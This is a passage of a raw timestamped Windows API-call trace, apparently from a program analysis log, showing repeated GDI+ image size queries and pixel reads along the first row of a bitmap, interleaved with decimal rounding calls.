pdecResult=0x1c74cfd0) returned 0x0 [0131.951] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.952] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.952] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=129, y=0, color=0x1c74cf80) returned 0x0 [0131.952] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.952] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.952] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.952] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.952] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=130, y=0, color=0x1c74cf80) returned 0x0 [0131.952] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.952] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.952] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.952] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.953] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=131, y=0, color=0x1c74cf80) returned 0x0 [0131.953] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.953] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.953] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.953] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.953] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=132, y=0, color=0x1c74cf80) returned 0x0 [0131.953] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.953] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.953] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.953] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.953] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=133, y=0, color=0x1c74cf80) returned 0x0 [0131.954] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.954] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.954] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.954] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.954] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=134, y=0, color=0x1c74cf80) returned 0x0 [0131.954] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.954] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.954] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.954] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.954] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=135, y=0, color=0x1c74cf80) returned 0x0 [0131.954] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.954] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.955] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.955] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.955] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=136, y=0, color=0x1c74cf80) returned 0x0 [0131.955] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.955] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.955] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.955] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.955] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=137, y=0, color=0x1c74cf80) returned 0x0 [0131.955] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.955] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.955] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.955] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.956] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=138, y=0, color=0x1c74cf80) returned 0x0 [0131.956] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.968] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.968] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.968] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.968] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=139, y=0, color=0x1c74cf80) returned 0x0 [0131.969] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.969] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.969] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.969] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.969] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=140, y=0, color=0x1c74cf80) returned 0x0 [0131.969] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.969] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.969] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.969] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.969] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=141, y=0, color=0x1c74cf80) returned 0x0 [0131.970] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.970] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.970] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.970] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.970] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=142, y=0, color=0x1c74cf80) returned 0x0 [0131.970] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.970] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.970] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.970] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.970] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=143, y=0, color=0x1c74cf80) returned 0x0 [0131.970] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.970] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.971] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.971] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.971] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=144, y=0, color=0x1c74cf80) returned 0x0 [0131.971] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.971] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.971] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.971] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.971] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=145, y=0, color=0x1c74cf80) returned 0x0 [0131.971] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.971] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.971] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.971] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.972] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=146, y=0, color=0x1c74cf80) returned 0x0 [0131.972] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.972] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.972] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.972] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.972] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=147, y=0, color=0x1c74cf80) returned 0x0 [0131.972] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.972] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.972] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.972] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.972] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=148, y=0, color=0x1c74cf80) returned 0x0 [0131.973] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.973] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.973] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.973] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.973] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=149, y=0, color=0x1c74cf80) returned 0x0 [0131.973] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.973] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.973] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.973] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.973] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=150, y=0, color=0x1c74cf80) returned 0x0 [0131.973] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.974] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.974] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.974] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.974] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=151, y=0, color=0x1c74cf80) returned 0x0 [0131.974] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.974] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.974] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.974] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.974] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=152, y=0, color=0x1c74cf80) returned 0x0 [0131.974] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.974] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.975] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.975] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.975] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=153, y=0, color=0x1c74cf80) returned 0x0 [0131.975] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.975] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.975] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.975] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.975] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=154, y=0, color=0x1c74cf80) returned 0x0 [0131.975] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.975] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.975] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.975] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.976] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=155, y=0, color=0x1c74cf80) returned 0x0 [0131.976] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.976] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.976] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.976] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.976] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=156, y=0, color=0x1c74cf80) returned 0x0 [0131.976] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.976] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.976] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.976] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.976] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=157, y=0, color=0x1c74cf80) returned 0x0 [0131.977] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.977] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.977] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.977] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.977] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=158, y=0, color=0x1c74cf80) returned 0x0 [0131.977] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.977] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.977] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.977] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.977] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=159, y=0, color=0x1c74cf80) returned 0x0 [0131.977] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.977] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.978] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.978] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.978] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=160, y=0, color=0x1c74cf80) returned 0x0 [0131.978] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.978] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.978] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.978] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.978] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=161, y=0, color=0x1c74cf80) returned 0x0 [0131.978] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.978] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.978] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.978] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.979] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=162, y=0, color=0x1c74cf80) returned 0x0 [0131.979] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.979] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.979] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.979] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.979] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=163, y=0, color=0x1c74cf80) returned 0x0 [0131.979] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.979] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.979] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.979] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.979] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=164, y=0, color=0x1c74cf80) returned 0x0 [0131.980] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.980] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.980] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.980] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.980] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=165, y=0, color=0x1c74cf80) returned 0x0 [0131.980] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.980] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.980] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.980] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.980] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=166, y=0, color=0x1c74cf80) returned 0x0 [0131.980] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.980] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.980] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.981] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.981] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=167, y=0, color=0x1c74cf80) returned 0x0 [0131.981] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.981] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.981] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.981] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.981] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=168, y=0, color=0x1c74cf80) returned 0x0 [0131.981] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.981] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.981] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.981] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.981] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=169, y=0, color=0x1c74cf80) returned 0x0 [0131.982] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.982] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.982] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.982] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.982] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=170, y=0, color=0x1c74cf80) returned 0x0 [0131.982] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.982] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.982] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.982] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.982] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=171, y=0, color=0x1c74cf80) returned 0x0 [0131.982] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.982] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.983] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.983] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.983] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=172, y=0, color=0x1c74cf80) returned 0x0 [0131.991] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.991] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.991] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.991] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.991] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=173, y=0, color=0x1c74cf80) returned 0x0 [0131.991] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.991] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.991] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.991] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.992] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=174, y=0, color=0x1c74cf80) returned 0x0 [0131.992] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.992] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.992] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.992] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.992] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=175, y=0, color=0x1c74cf80) returned 0x0 [0131.992] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.992] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.992] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.992] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.992] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=176, y=0, color=0x1c74cf80) returned 0x0 [0131.992] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.993] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.993] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.993] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.993] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=177, y=0, color=0x1c74cf80) returned 0x0 [0131.993] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.993] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.993] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.993] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.993] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=178, y=0, color=0x1c74cf80) returned 0x0 [0131.993] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.993] 